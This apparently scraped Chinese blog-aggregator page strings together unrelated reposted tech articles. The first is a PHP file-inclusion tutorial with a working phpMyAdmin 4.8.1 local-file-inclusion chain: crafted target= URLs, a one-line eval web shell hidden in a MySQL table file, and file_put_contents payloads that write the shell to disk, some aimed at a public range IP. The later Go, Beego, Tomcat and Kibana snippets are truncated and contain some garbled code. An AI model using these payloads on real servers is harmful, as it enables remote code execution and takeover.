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...转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。 在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。 如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。 只要文件内是php代码,文件包含是不在意文件后缀的。 12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’) 然后生成一个新的php文件 访问index.php 以上我们接触的全部是本地文件包含 说了本地文件包含,我们再来看远程文件包含 简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。 要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启) 来我们可以来实验一下,把这个配置打开。 “其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写 之后要重启才能生效。 配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。 可以看到,包含成功! 这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。 这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。 实战 注意,这里php版本过低,会安装不上 安装好后,我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下,发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名:nf 接着创建表:ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 写入成功后,我们连接这个8.php的木马。 http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的 1,创建一个库为yingqian1984, 2,创建一个表为yq1984 3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据 4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-01-06 09:10:40
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2024-01-14 22:09:23
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Go-Spring
...处理大量同时涌进来的请求,又能增强系统的抗故障能力,即使有个别机器罢工了,其他机器也能顶上,保证工作的正常进行。 2. 使用Go-Spring实现负载均衡的基本步骤 2.1 配置服务消费者 首先,我们需要在服务消费者端配置负载均衡器。想象一下,我们的服务使用者需要联系一个叫做“.UserService”的小伙伴来帮忙干活儿,这个小伙伴呢,有很多个分身,分别在不同的地方待命。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-cloud-loadbalancer" ) func main() { spring.NewApplication(). RegisterBean(new(UserServiceConsumer)). AddCloudLoadBalancer("userService", func(c loadbalancer.Config) { c.Name = "userService" // 设置服务名称 c.LbStrategy = loadbalancer.RandomStrategy // 设置负载均衡策略为随机 c.AddServer("localhost:8080") // 添加服务实例地址 c.AddServer("localhost:8081") }). Run() } 2.2 调用远程服务 在服务消费者内部,通过@Service注解注入远程服务,并利用Go-Spring提供的Invoke方法进行调用,此时请求会自动根据配置的负载均衡策略分发到不同的服务实例。 go import ( "github.com/go-spring/spring-core" "github.com/go-spring/spring-web" ) type UserServiceConsumer struct { UserService spring.Service service:"userService" } func (uc UserServiceConsumer) Handle(ctx spring.WebContext) { user, err := uc.UserService.Invoke(func(service UserService) (User, error) { return service.GetUser(1) }) if err != nil { // 处理错误 } // 处理用户数据 ... } 3. 深入理解负载均衡策略 Go-Spring支持多种负载均衡策略,每种策略都有其适用场景: - 轮询(RoundRobin):每个请求按顺序轮流分配到各个服务器,适用于所有服务器性能相近的情况。 - 随机(Random):从服务器列表中随机选择一个,适用于服务器性能差异不大且希望尽可能分散请求的情况。 - 最少连接数(LeastConnections):优先选择当前连接数最少的服务器,适合于处理时间长短不一的服务。 根据实际业务需求和系统特性,我们可以灵活选择并调整这些策略,以达到最优的负载均衡效果。 4. 思考与讨论 在实践过程中,我们发现Go-Spring的负载均衡机制不仅简化了开发者的配置工作,而且提供了丰富的策略选项,使得我们能够针对不同场景采取最佳策略。不过呢,负载均衡可不是什么万能灵药,想要搭建一个真正结实耐造的分布式系统,咱们还得把它和健康检查、熔断降级这些好兄弟一起,手拉手共同协作才行。 总结来说,Go-Spring以其人性化的API设计和全面的功能集,极大地降低了我们在Golang中实施负载均衡的难度。而真正让它火力全开、大显神通的秘诀,就在于我们对业务特性有如数家珍般的深刻理解,以及对技术工具能够手到擒来的熟练掌握。让我们一起,在Go-Spring的世界里探索更多可能,打造更高性能、更稳定的分布式服务吧!
2023-12-08 10:05:20
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繁华落尽
ActiveMQ
...间通过轻量级机制(如HTTP RESTful API或消息队列)进行通信。文中提到,在微服务架构下,多个服务间的数据同步和事件通知问题可以通过集成ActiveMQ和Camel得到解决,各服务只需关注自身业务逻辑,并通过消息中间件来交换信息,降低了服务间的耦合度,提升了系统的可扩展性和灵活性。 声明式路由 , 声明式路由是Apache Camel中的核心概念,它允许开发者通过简单的配置或者DSL(领域特定语言)来描述消息如何在系统内部流转,而无需手动编写大量的代码逻辑。在文章的Camel路由配置示例中,通过声明式的方式指定了消息从定时器触发产生后经过哪些步骤处理(例如设置消息体、发送到ActiveMQ队列),然后由消费者从队列中拉取并进一步处理转发至Mock endpoint。这种抽象方式简化了复杂的集成任务,增强了系统的可读性和维护性。
2023-05-29 14:05:13
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灵动之光
Apache Atlas
...操心的,它得整个公司上下都得重视起来,算是个大战略呢。 3. Apache Atlas的实际应用案例 接下来,我们将通过几个具体的例子来展示Apache Atlas是如何帮助企业提升数据治理效能的。 3.1 提高数据发现能力 背景:某大型电商公司拥有海量商品信息,但不同部门之间对数据的理解和使用方式差异巨大,导致数据利用率低。 解决方案:使用Apache Atlas建立统一的数据目录,标记各类型数据,并设置搜索规则,使得所有员工都能快速找到所需数据。 代码示例: python from atlasclient.client import Atlas 创建Atlas客户端实例 atlas = Atlas('http://localhost:21000', 'admin', 'password') 定义数据目录结构 data_directory = { "name": "ecommerce_products", "description": "A directory for all ecommerce product data.", "classification": "Data_Catalog" } 注册数据目录 response = atlas.entity.create_entity(data_directory) print(response) 此代码片段展示了如何使用Python客户端API向Atlas注册一个新的数据目录。 3.2 加强数据安全控制 背景:一家金融机构需要严格控制敏感信息的访问权限。 解决方案:通过Apache Atlas实施细粒度的数据访问控制策略,如基于角色的访问控制(RBAC)。 代码示例: python 定义用户角色及对应的权限 roles = [ {"name": "admin", "permissions": ["read", "write"]}, {"name": "analyst", "permissions": ["read"]} ] for role in roles: 创建角色 response = atlas.discovery.find_entities_by_type(role['name']) if not response.entities: atlas.discovery.create_entity({"typeName": role['name'], "attributes": {"name": role['name']} }) print(f"Role {role['name']} created.") 该示例演示了如何使用Atlas API动态创建用户角色及其权限。 3.3 数据质量监控 背景:一家电信公司希望实时监控网络数据的质量,以保障服务稳定。 解决方案:结合Apache Atlas与数据质量监控工具,定期检查数据完整性、准确性等指标。 代码示例: python 假设已定义好数据质量规则 quality_rules = [{"field": "connection_status", "rule": "must_be_online"}] 应用规则到指定数据集 for rule in quality_rules: response = atlas.discovery.find_entities_by_type(rule['field']) if response.entities: 执行具体的数据质量检查逻辑 pass 此段代码用于根据预设的数据质量规则检查特定字段的数据状态。 4. 结语 从上述案例中我们可以看出,Apache Atlas不仅提供了丰富的功能来满足企业数据治理的需求,而且通过灵活的API接口,能够轻松集成到现有的IT环境中。当然啦,要想让工具用得好,企业得先明白数据治理有多重要,还得有条不紊地去规划和执行才行。未来,随着技术的发展,相信Apache Atlas会在更多场景下发挥其独特价值。 --- 以上就是关于“Apache Atlas:数据治理效能提升的案例研究”的全部内容。希望这篇分析能让大家更清楚地看到数据治理对现代企业有多重要,还能学到怎么用Apache Atlas这个强大的工具来升级自己的数据管理系统,让它变得更高效、更好用。如果您有任何疑问或想要分享您的看法,请随时留言交流!
2024-11-10 15:39:45
120
烟雨江南
Beego
...接数量是有限的。要是请求量太大,把连接池的承受极限给顶破了,那么新的请求就得暂时等等啦,等到有足够的连接资源能用的时候才能继续进行。这就是“数据库连接池耗尽”的原因。 4. 如何解决“数据库连接池耗尽”? 以下是几种解决“数据库连接池耗尽”的方法: 4.1 增加数据库连接池的大小 如果你的应用对数据库的访问量很大,但是连接池的大小不足以满足需求,那么你可以考虑增加连接池的大小。这可以通过修改配置文件来实现。比如,在使用Beego时,你完全可以调整DBConfig.MaxIdleConns和DBConfig.MaxOpenConns这两个属性,这样一来,就能轻松控制数据库的最大空闲连接数和最大活跃连接数了,就像在管理你的小团队一样,灵活调配人手。 go beego.BConfig.WebConfig.Database = "mysql" beego.BConfig.WebConfig.DbName = "testdb" beego.BConfig.WebConfig.Driver = "github.com/go-sql-driver/mysql" beego.BConfig.WebConfig.DefaultDb = "default" beego.BConfig.WebConfig.MaxIdleConns = 100 beego.BConfig.WebConfig.MaxOpenConns = 200 4.2 使用连接池分片策略 这种方法可以将连接池划分为多个子池,每个子池独立处理来自不同用户的应用程序请求。这样可以防止单个子池由于过高的并发访问而耗尽连接。在Beego中,你可以在启动服务器时自定义数据库连接池,如下所示: go db, err := sql.Open("mysql", "root:password@/dbname") if err != nil { log.Fatal(err) } defer db.Close() pool := &sqlx.Pool{ DSN: "user=root password=pass dbname=testdb sslmode=disable", MaxIdleTime: time.Minute 5, } beego.InsertFilter("", beego.BeforeRouter, pool.Ping问一) 4.3 使用更高效的查询语句 高效的查询语句可以减少数据库连接的使用。例如,你可以避免在查询中使用不必要的表连接,尽量使用索引等。另外,我跟你说啊,尽量别一次性从数据库里捞太多数据,你想想哈,拿的数据越多,那连接数据库的“负担”就越重。就跟你一次性提太多东西,手上的袋子不也得承受更多压力嘛,道理是一样的。所以呢,咱悠着点,分批少量地拿数据才更明智。 4.4 调整应用负载均衡策略 如果你的应用在一个多台机器上运行,那么你可以通过调整负载均衡策略来平衡数据库连接的分配。比如,你完全可以根据每台机器上当前的实际连接使用状况,灵活地给它们分配对数据库的访问权限,就像在舞池里根据音乐节奏调整舞步那样自然流畅。 5. 结论 以上就是我在Beego中解决“数据库连接池耗尽”问题的一些方法。需要注意的是,不同的应用场景可能需要采用不同的解决方案。所以在实际动手干的时候,你得根据自己具体的需求和所处的环境,灵活机动地挑出最适合自己的方法。就像是在超市选商品,不同的需求对应不同的货架,不同的环境就像不同的购物清单,你需要智慧地“淘宝”,选出最对的那个“宝贝”方式。
2023-08-08 14:54:48
554
蝶舞花间-t
Tomcat
... Tomcat环境配置文件丢失或损坏:修复与恢复指南 一、引言 Tomcat的魅力与挑战 Tomcat,作为Apache基金会下的顶级项目之一,以其轻量级、高性能、开放源代码的特性,成为了众多Java应用服务器的首选。然而,就像任何技术工具一样,Tomcat也面临着一些常见问题,其中之一便是配置文件的丢失或损坏。在这篇文章中,我们将深入探讨如何面对这种挑战,通过一系列的步骤和实践,帮助你找回或重建Tomcat的正常运行状态。 二、理解配置文件的重要性 在开始之前,让我们先理解配置文件对Tomcat的重要性。配置文件通常位于/conf目录下,包括server.xml、web.xml等。哎呀,这些玩意儿可是Tomcat服务器的灵魂呢!它们掌控着服务器怎么干活,干得多快,安全不安全,还有你放上去的网页程序咋整,都得靠它们来调教。就像厨房里的大厨,得掌握好火候,菜才做得香,服务器这事儿也是一样,得让它们发挥出最佳状态,才能让网站跑得又快又稳,用户们用起来才舒心!一旦这些文件丢失或损坏,可能会导致Tomcat无法启动或者无法正确运行已部署的应用程序。 三、常见的问题与症状 当配置文件出现问题时,你可能会遇到以下症状: - 启动失败:尝试启动Tomcat时,可能收到错误信息,指示找不到特定的配置文件。 - 服务不可用:即使成功启动,服务也可能无法提供预期的功能,比如HTTP请求处理异常。 - 部署失败:尝试部署新的Web应用程序时,可能会因缺少必要的配置信息而失败。 四、诊断与解决策略 1. 检查目录结构 首先,确保/conf目录存在且完整。使用命令行(如Windows的CMD或Linux的Terminal)进行检查: bash ls -l /path/to/tomcat/conf/ 如果发现某些文件缺失,这可能是问题所在。 2. 复制默认配置 如果文件确实丢失,可以从Tomcat的安装目录下的bin子目录复制默认配置到/conf目录。例如,在Linux环境下: bash cp /path/to/tomcat/bin/catalina.sh /path/to/tomcat/conf/ 请注意,这里使用的是示例命令,实际操作时应根据你的Tomcat版本和系统环境调整。 3. 修改配置 对于特定于环境或应用的配置(如数据库连接、端口设置等),需要手动编辑server.xml和web.xml。这一步通常需要根据你的应用需求进行定制。 4. 测试与验证 修改配置后,重新启动Tomcat,通过访问服务器地址(如http://localhost:8080)检查服务是否正常运行,并测试关键功能。 五、最佳实践与预防措施 - 定期备份:定期备份/conf目录,可以使用脚本自动执行,以减少数据丢失的风险。 - 版本管理:使用版本控制系统(如Git)管理Tomcat的配置文件,便于追踪更改历史和团队协作。 - 权限设置:确保/conf目录及其中的文件具有适当的读写权限,避免因权限问题导致的配置问题。 六、总结与反思 面对Tomcat配置文件的丢失或损坏,关键在于迅速定位问题、采取正确的修复策略,并实施预防措施以避免未来的困扰。通过本文的指导,希望能帮助你在遇到类似情况时,能够冷静应对,快速解决问题,让Tomcat再次成为稳定可靠的应用服务器。记住,每一次挑战都是提升技能和经验的机会,让我们在技术的道路上不断前进。
2024-08-02 16:23:30
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青春印记
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...转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 手游和端游最大的区别就是手游技术是封闭的,在使用的过程中,出现了问题,很难找到解决的方法,比如架设战神引擎不开门的问题,读取不到列表的问题,等等,今天给大家分享一下架设战神引擎进入游戏不开门的问题怎么解决,提供的主要是解决思路,问题千万种,思路最重要。 导致游戏不开门的问题比较多,帮主把最常见的6个问题列出来,你们自己参照去检查。 1、战神引擎是不是全部启动成功了? 战神引擎成功启动后,有五个程序,分别是DBServer(数据库)、M2Server(M2控制台)、LoginGate(游戏网关)、GGService(登录网关)、ItemLogServer(日志),这五个程序都在服务器的任务栏上面运行了吗?如果运行了,那么进入第2个。 2、服务器的端口是不是开放了? 架设战神引擎服务器,默认需要用到的端口有这些,5600、5100、6000、7000、7100、8080、10000、20000、27017(MongoDB芒果数据库)等,这些是战神引擎默认的端口,你看看这些端口在当前架设的服务器上是不是开放了,如果不确定,可以去tool.chinaz.com/port/这个网站扫描看看。 3、引擎里面的IP是否是当前服务器的IP地址? 战神服务端里面的有4个配置文件需要修改里面的IP地址,分别在是这些文件,把这些文件别人的IP换成架设服务器所在的IP地址。 D:\mud2.0\DBServer\DBService.ini D:\mud2.0\GateServer\GameGate\MirGate.ini D:\mud2.0\GateServer\logingate\LoginGate.ini D:\mud2.0\Mir200\Gs1!Setup.txt 4、引擎里面的端口是不是修改过,在这里帮主推荐使用默认的。 跟第二条一样,引擎尽量使用默认的端口,如果修改了端口,导致引擎相互之间无法连接成功,引擎启动失败,门自然也不会开。 5、列表文件是不是存在 战神引擎列表文件有两份,分别是serverlist.json和serverlist.lua,路径如下,看看是不是有这两份文件。 D:\mud2.0\logincenter\logincenter_win\config\serverlist.json D:\mud2.0\logincenter\logincenter_win\application\controllers\serverlist.lua 这2分文件是否存在,如果存在,那么看第6条,答案就在最上面。 6、列表文件里面的IP、端口、格式是不是正确的(这个导致不开门的原因最多) 按照正常的流程,开门之后,就会出现黄色的列表信息,如下图,没有出现,那么可能serverlist.lua文件有问题,这其中包括了里面的列表格式,这个非常重要,你们在修改的时候,记得只修改里面的IP和游戏名字,端口默认8088即可。更不要添加标点符号等,多一个或少空格都会导致这份文件无法加载,从而出现了不开门的情况,如果开门了,到这里点击进不去,也是因为你修改修改的时候,破坏了标准的Lua格式。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-27 13:11:20
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Mongo
...某项操作完成(如网络请求或磁盘读写),而是继续执行后续逻辑,当先前的异步操作完成后,程序通过回调函数、Promise、async/await等方式获取结果并进行相应处理。在文中,MongoDB的驱动程序采用异步方式连接数据库和写入数据,这样即使在大量IO密集型任务下,应用也能保持流畅响应,不会因等待而停滞。 驱动程序 , 在计算机编程领域,驱动程序是一种特殊的软件模块,用于提供操作系统与硬件设备或其他系统组件之间的接口。在本文语境中,MongoDB驱动程序是指针对特定编程语言(如Node.js)编写的库,使得该语言的应用程序能够与MongoDB数据库进行交互,包括连接数据库、执行查询、更新数据等操作。例如,Node.js环境中的mongodb库就是一个实现了与MongoDB通信功能的驱动程序,它提供了API供开发者调用,实现异步地连接和操作MongoDB数据库。
2024-03-10 10:44:19
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林中小径_
Beego
...SSL/TLS。在本文中,SSL/TLS证书用于保障HTTPS服务的安全性。 HTTPS , HTTPS(Hypertext Transfer Protocol Secure)是在HTTP(超文本传输协议)基础上加入了SSL/TLS协议支持的一种协议。HTTPS通过加密手段保护用户数据在传输过程中的安全,防止数据在传输过程中被窃听或篡改。在本文中,HTTPS配置涉及设置服务器的证书和密钥,以确保Web服务的安全性。 HSTS , HTTP严格传输安全(HTTP Strict Transport Security,简称HSTS)是一种安全功能,它告诉浏览器只能通过HTTPS访问网站,而不是HTTP。启用HSTS可以防止中间人攻击,确保所有与服务器的通信都通过加密方式进行。在本文中,HSTS通过在服务器响应头中加入特定字段实现,从而增强网站的安全性。
2024-11-14 16:21:52
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秋水共长天一色
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...转载内容。原文链接:https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 文章目录 AI垃圾分类 产品描述 垃圾分类-数据分析和预处理 代码结构 resnext101网络架构 垃圾分类-训练 垃圾分类-评估 垃圾分类-在线预测 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 AI垃圾分类 产品描述 如何进行垃圾分类已经成为居民生活的灵魂拷问,然而AI在垃圾分类的应用可以成为居民的得力助手。 针对目前业务需求,我们设计一款APP,来支撑我们的业务需求,主要提供文本,语音,图片分类功能。AI智能垃圾分类主要通过构建基于深度学习技术的图像分类模型,实现垃圾图片类别的精准识别重点处理图片分类问题。 采用深圳市垃圾分类标准,输出该物品属于可回收物、厨余垃圾、有害垃圾和其他垃圾分类。 垃圾分类-数据分析和预处理 整体数据探测 分析数据不同类别分布 分析图片长宽比例分布 切分数据集和验证集 数据可视化展示(可视化工具 pyecharts,seaborn,matplotlib) 代码结构 ├── data│ ├── garbage-classify-for-pytorch│ │ ├── train│ │ ├── train.txt│ │ ├── val│ │ └── val.txt│ └── garbage_label.txt├── analyzer│ ├── 01 垃圾分类_一级分类 数据分布.ipynb│ ├── 02 垃圾分类_二级分类 数据分析.ipynb│ ├── 03 数据加载以及可视化.ipynb│ ├── 03 数据预处理-缩放&裁剪&标准化.ipynb│ ├── garbage_label_40 标签生成.ipynb├── models│ ├── alexnet.py│ ├── densenet.py│ ├── inception.py│ ├── resnet.py│ ├── squeezenet.py│ └── vgg.py├── facebook│ ├── app_resnext101_WSL.py│ ├── facebookresearch_WSL-Images_resnext.ipynb│ ├── ResNeXt101_pre_trained_model.ipynb├── checkpoint│ ├── checkpoint.pth.tar│ ├── garbage_resnext101_model_9_9547_9588.pth├── utils│ ├── eval.py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py:在线预测服务 garbage-classification-using-pytorch.py:训练模型 models:提供各种pre_trained_model ,例如:alexlet、densenet、resnet,resnext等 utils:提供各种工具类,例如;重新flask json 格式,日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py:通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径,保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明:命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后,我们从0到1教大家掌握如何进行垃圾分类。通过本学习,让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾? 2. 告诉你,你是什么垃圾 3. 使用它告诉你,你是啥垃圾 本篇文章为转载内容。原文链接:https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-10 23:48:11
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SpringCloud
...架,提供了服务治理、配置中心等功能。 分布式锁 , 分布式锁是一种在分布式系统或网络环境中用于控制共享资源访问的同步机制。在一个微服务架构中,由于服务分布在不同的节点上,当多个服务需要同时访问同一资源时,分布式锁能够确保同一时间只有一个服务可以操作该资源,从而避免并发问题,维护数据的一致性。例如,文中提到使用Redisson组件结合Redis实现基于Redis的分布式锁。 死锁 , 死锁是操作系统或并发编程中的一种状态,指的是两个或多个进程(在本文语境下指服务)因争夺资源而造成的一种僵局,其中每个进程都占有对方所需的一部分资源并等待对方释放已占有的资源,因此导致所有进程都无法继续执行。在分布式锁场景下,如果服务A持有锁L1并请求锁L2,同时服务B持有锁L2并请求锁L1,就会形成一个循环等待,即发生了死锁,使得整个系统陷入停滞状态。 Redisson , Redisson是一个高性能的Java客户端库,用于与Redis服务器交互,提供了丰富的数据结构支持以及分布式的Java对象模型。在本文中,Redisson被用来实现基于Redis的分布式锁服务,其RLock接口提供了获取、释放锁的功能,帮助开发者更方便地管理分布式环境下的并发控制。 公平锁 , 公平锁是一种特殊的锁,在多个线程请求同一个锁时,按照请求的顺序进行排队,先请求的线程优先获得锁。在分布式环境下,公平锁确保了所有服务获取锁的机会均等,减少了因为抢占锁顺序导致的死锁可能性。文中提及可以通过Redisson提供的FairLock来实现全局排序规则,以预防死锁的发生。
2023-03-19 23:46:57
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青春印记
Kibana
... 首先,确保已安装并配置好Elasticsearch服务,并成功启动Kibana(假设你已经在本地环境完成这些基础设置)。接下来,我们要往Elasticsearch里塞点数据进去,这样后面才能好好分析、可视化一把。例如,我们有一个名为logs的索引,其中包含了服务器访问日志数据: json POST /logs/_doc { "timestamp": "2022-01-01T00:00:00Z", "method": "GET", "path": "/api/v1/data", "status_code": 200, "response_time_ms": 150 } 重复上述过程,填充足够多的日志数据以便进行更深入的分析。 2. 创建索引模式与发现视图 - 创建索引模式: 在Kibana界面中,进入“管理”>“索引模式”,点击“创建索引模式”,输入索引名称logs,Kibana会自动检测字段类型并建立映射关系。 - 探索数据: 进入“发现”视图,选择我们刚才创建的logs索引模式,Kibana会展示出所有日志记录。在这里,你可以实时搜索、筛选以及初步分析数据。 3. 初步构建可视化组件 - 创建可视化图表: 进入“可视化”界面,点击“新建”,开始创建你的第一个可视化图表。例如,我们可以创建一个柱状图来展示不同HTTP方法的请求次数: a. 选择“柱状图”可视化类型。 b. 在“buckets”区域添加一个“terms”分桶,字段选择method。 c. 在“metrics”区域添加一个“计数”指标,计算每个方法的请求总数。 保存这个可视化图表,命名为“HTTP方法请求统计”。 4. 构建仪表板 - 创建仪表板: 进入“仪表板”界面,点击“新建”,创建一个新的空白仪表板。 - 添加可视化组件: 点击右上角的“添加可视化”按钮,选择我们在第3步创建的“HTTP方法请求统计”图表,将其添加至仪表板中。 - 扩展仪表板: 不止于此,我们可以继续创建其他可视化组件,比如折线图显示随着时间推移的响应时间变化,热力图展示不同路径和状态码的分布情况等,并逐一将它们添加到此仪表板上。 5. 自定义与交互性调整 Kibana的真正魅力在于其丰富的自定义能力和交互性设计。比如,你完全可以给每张图表单独设定过滤器规则,这样一来,整个仪表板上的数据就能像变魔术一样联动更新,超级炫酷。另外,你还能借助那个时间筛选器,轻轻松松地洞察到特定时间段内数据走势的变化,就像看一部数据演变的电影一样直观易懂。 在整个创建过程中,你可能会遇到疑惑、困惑,甚至挫折,但请记住,这就是探索和学习的魅力所在。随着对Kibana的理解逐渐加深,你会发现它不仅是一个工具,更是你洞察数据、讲述数据故事的强大伙伴。尽情发挥你的创造力,让数据活起来,赋予其生动的故事性和价值性。 总结来说,创建Kibana可视化仪表板的过程就像绘制一幅数据画卷,从准备画布(导入数据)开始,逐步添置元素(创建可视化组件),最后精心布局(构建仪表板),期间不断尝试、调整和完善,最终成就一份令人满意的可视化作品。在这个探索的过程中,你要像个充满好奇的小探险家一样,时刻保持对未知的热情,脑袋瓜子灵活运转,积极思考各种可能性。同时,也要有敢于动手实践的勇气,大胆尝试,别怕失败。这样下去,你肯定能在浩瀚的数据海洋中挖到那些藏得深深的宝藏,收获满满的惊喜。
2023-08-20 14:56:06
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岁月静好
